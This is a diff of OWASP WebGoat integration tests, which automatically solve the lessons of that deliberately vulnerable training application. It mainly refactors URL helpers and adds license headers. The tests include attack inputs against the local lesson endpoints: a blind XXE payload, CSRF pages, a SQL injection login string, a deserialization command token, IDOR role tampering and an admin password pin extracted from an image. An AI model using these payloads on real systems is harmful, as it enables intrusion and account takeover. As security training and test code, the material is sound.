.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("xxe/");
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
@ -15,72 +19,71 @@ class AccessControlIntegrationTest extends IntegrationTest {
assignment2();
assignment3();
checkResults("/access-control");
checkResults("MissingFunctionAC");
}
private void assignment3() {
// direct call should fail if user has not been created
RestAssured.given()
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then()
.statusCode(HttpStatus.SC_FORBIDDEN);
// create user
var userTemplate =
"""
{"username":"%s","password":"%s","admin": "true"}
""";
RestAssured.given()
{"username":"%s","password":"%s","admin": "true"}
""";
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(url("/WebGoat/access-control/users"))
.post(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);
// get the users
var userHash =
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
}
private void assignment2() {
var userHash =
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users"))
.get(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
}
private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
}
}

View File

@ -1,7 +1,11 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
@ -64,12 +68,12 @@ public class CSRFIntegrationTest extends IntegrationTest {
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml(
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
uploadTrickHtml(
"csrf8.html",
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
}
@TestFactory
@ -86,7 +90,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
// logout();
login(); // because old cookie got replaced and invalidated
startLesson("CSRF", false);
checkResults("/csrf");
checkResults("CSRF");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
@ -103,7 +107,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
@ -118,7 +122,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
.then()
.extract()
.response()
@ -136,7 +140,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.post(goatURL)
.then()
.extract()
@ -144,15 +148,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
.toString();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
}
private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put(
@ -163,13 +165,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract()
.path("lessonCompleted");
assertEquals(true, result);
assertTrue(result);
}
private void checkAssignment7(String goatURL) {
@ -184,7 +186,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.contentType(ContentType.TEXT)
.body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
@ -198,7 +200,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
@ -207,7 +209,6 @@ public class CSRFIntegrationTest extends IntegrationTest {
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
@ -217,7 +218,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.params(params)
.post(goatURL)
.then()
@ -225,21 +226,21 @@ public class CSRFIntegrationTest extends IntegrationTest {
.cookie("JSESSIONID");
// select the lesson
RestAssured.given()
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(url("CSRF.lesson.lesson"))
.get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
// click on the assignment
boolean result =
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(url("/csrf/login"))
.post(webGoatUrlConfig.url("csrf/login"))
.then()
.statusCode(200)
.extract()
@ -250,18 +251,19 @@ public class CSRFIntegrationTest extends IntegrationTest {
login();
startLesson("CSRF", false);
Overview[] assignments =
Overview[] assignments =
RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/service/lessonoverview.mvc"))
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
.then()
.extract()
.jsonPath()
.getObject("$", Overview[].class);
// assertThat(assignments)
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
// .extracting(o -> o.solved)
// .containsExactly(true);
assertThat(assignments)
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
.extracting(o -> o.solved)
.containsExactly(true);
}
@Data
@ -273,13 +275,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
/** Try to register the new user. Ignore the result. */
private void registerCSRFUser() {
RestAssured.given()
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"));
.post(webGoatUrlConfig.url("register.mvc"));
}
}

View File

@ -0,0 +1,147 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.springframework.http.HttpStatus;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/logo"))
.then()
.statusCode(200)
.extract()
.asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/1"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
checkResults("Challenge1");
}
@Test
void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/5"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
checkResults("Challenge5");
}
@Test
void testChallenge7() {
startLesson("Challenge7");
cleanMailbox();
// One should first be able to download git.zip from WebGoat
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/7/.git"))
.then()
.statusCode(200)
.extract()
.asString();
// Should email WebWolf inbox this should give a hint to the link being static
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", getUser() + "@webgoat.org")
.post(webGoatUrlConfig.url("challenge/7"))
.then()
.statusCode(200)
.extract()
.asString();
// Check whether email has been received
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
// Call reset link with admin link
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(
webGoatUrlConfig.url("challenge/7/reset-password/{link}"),
"375afe1104f4a487a73823c50a9292a2")
.then()
.statusCode(HttpStatus.ACCEPTED.value())
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.fail;
@ -42,17 +46,17 @@ public class CryptoIntegrationTest extends IntegrationTest {
checkAssignmentDefaults();
checkResults("/crypto");
checkResults("Cryptography");
}
private void checkAssignment2() {
String basicEncoding =
String basicEncoding =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/encoding/basic"))
.get(webGoatUrlConfig.url("crypto/encoding/basic"))
.then()
.extract()
.asString();
@ -64,7 +68,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear();
params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd);
checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
}
private void checkAssignment3() {
@ -72,27 +76,27 @@ public class CryptoIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
checkAssignment(url("/crypto/encoding/xor"), params, true);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
}
private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash =
String md5Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/md5"))
.get(webGoatUrlConfig.url("crypto/hashing/md5"))
.then()
.extract()
.asString();
String sha256Hash =
String sha256Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/sha256"))
.get(webGoatUrlConfig.url("crypto/hashing/sha256"))
.then()
.extract()
.asString();
@ -112,17 +116,17 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear();
params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2);
checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
}
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM =
String privatePEM =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/signing/getprivate"))
.get(webGoatUrlConfig.url("crypto/signing/getprivate"))
.then()
.extract()
.asString();
@ -135,7 +139,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear();
params.put("modulus", modulus);
params.put("signature", signature);
checkAssignment(url("/crypto/signing/verify"), params, true);
checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
}
private void checkAssignmentDefaults() {
@ -151,6 +155,6 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear();
params.put("secretText", text);
params.put("secretFileName", "default_secret");
checkAssignment(url("/crypto/secure/defaults"), params, true);
checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException;
import java.util.HashMap;
@ -26,8 +30,8 @@ public class DeserializationIntegrationTest extends IntegrationTest {
params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
checkResults("/InsecureDeserialization/");
checkResults("InsecureDeserialization");
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
@ -17,41 +21,51 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(url("HttpBasics/attack1"), params, true);
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "4");
checkAssignment(url("HttpBasics/attack2"), params, false);
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "33");
checkAssignment(url("HttpBasics/attack2"), params, true);
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
checkResults("/HttpBasics/");
checkResults("HttpBasics");
}
@Test
public void solveAsOtherUserHttpBasics() {
login("steven");
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
}
@Test
public void httpProxies() {
startLesson("HttpProxies");
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("/HttpProxies/");
checkResults("HttpProxies");
}
@Test
@ -72,8 +86,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put(
"question_3_solution",
"Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(url("/WebGoat/cia/quiz"), params, true);
checkResults("/cia/");
checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
checkResults("CIA");
}
@Test
@ -95,8 +109,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("payload", solution);
checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
checkResults("/VulnerableComponents/");
checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
checkResults("VulnerableComponents");
}
}
@ -107,8 +121,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear();
params.put("username", "CaptainJack");
params.put("password", "BlackPearl");
checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
checkResults("/InsecureLogin/");
checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
checkResults("InsecureLogin");
}
@Test
@ -117,8 +131,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords/");
checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords");
startLesson("AuthBypass");
params.clear();
@ -127,25 +141,24 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
startLesson("HttpProxies");
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(
url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("/HttpProxies/");
checkResults("HttpProxies");
}
@Test
@ -157,7 +170,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("param1", "42");
params.put("param2", "24");
String result =
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -165,7 +178,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
@ -174,14 +187,14 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
params.clear();
params.put("number", "24");
params.put("network_num", "24");
checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
checkResults("/ChromeDevTools/");
checkResults("ChromeDevTools");
}
@Test
@ -194,8 +207,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
}
@Test
@ -205,7 +218,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear();
params.put("param1", "secr37Value");
params.put("param2", "Main");
checkAssignment(url("/lesson-template/sample-attack"), params, true);
checkResults("/lesson-template/");
checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
checkResults("LessonTemplate");
}
}

View File

@ -1,14 +1,16 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
@ -19,7 +21,6 @@ import org.junit.jupiter.api.TestFactory;
public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows
public void init() {
startLesson("IDOR");
}
@ -27,57 +28,64 @@ public class IDORIntegrationTest extends IntegrationTest {
@TestFactory
Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList(
dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
dynamicTest("assignment 2 - login", this::loginIDOR),
dynamicTest("profile", this::profile));
}
@AfterEach
public void shutdown() throws IOException {
checkResults("/IDOR");
public void shutdown() {
checkResults("IDOR");
}
private void loginIDOR() throws IOException {
private void loginIDOR() {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "tom");
params.put("password", "cat");
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
}
private void profile() {
MatcherAssert.assertThat(
// View profile - assignment 3a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile"))
.get(webGoatUrlConfig.url("IDOR/profile"))
.then()
.statusCode(200)
.extract()
.path("userId"),
CoreMatchers.is("2342384"));
// Show difference - assignment 3b
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("attributes", "userId,role");
checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
// View profile another way - assignment 4
params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
MatcherAssert.assertThat(
// assignment 5a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile/2342388"))
.get(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
MatcherAssert.assertThat(
// assignment 5b
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -86,7 +94,7 @@ public class IDORIntegrationTest extends IntegrationTest {
.body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}")
.put(url("/WebGoat/IDOR/profile/2342388"))
.put(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()

View File

@ -1,57 +1,48 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static io.restassured.RestAssured.given;
import io.restassured.RestAssured;
import io.restassured.filter.log.LogDetail;
import io.restassured.http.ContentType;
import java.util.Map;
import java.util.Objects;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.ServerUrlConfig;
import org.springframework.http.HttpStatus;
public abstract class IntegrationTest {
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
@Getter
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static boolean useSSL = false;
private static String webgoatUrl =
(useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
private static String webWolfUrl =
(useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
@Getter private String webGoatCookie;
@Getter private String webWolfCookie;
@Getter private final String user = "webgoat";
protected String url(String url) {
url = url.replaceFirst("/WebGoat/", "");
url = url.replaceFirst("/WebGoat", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webgoatUrl + url;
}
protected String webWolfUrl(String url) {
url = url.replaceFirst("/WebWolf/", "");
url = url.replaceFirst("/WebWolf", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webWolfUrl + url;
}
@BeforeEach
public void login() {
login("webgoat");
}
protected void login(String user) {
String location =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login"))
.post(webGoatUrlConfig.url("login"))
.then()
.log()
.ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
.cookie("JSESSIONID")
.statusCode(302)
.extract()
@ -65,7 +56,7 @@ public abstract class IntegrationTest {
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"))
.post(webGoatUrlConfig.url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
@ -78,7 +69,7 @@ public abstract class IntegrationTest {
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login"))
.post(webGoatUrlConfig.url("login"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
@ -92,7 +83,7 @@ public abstract class IntegrationTest {
.relaxedHTTPSValidation()
.formParam("username", user)
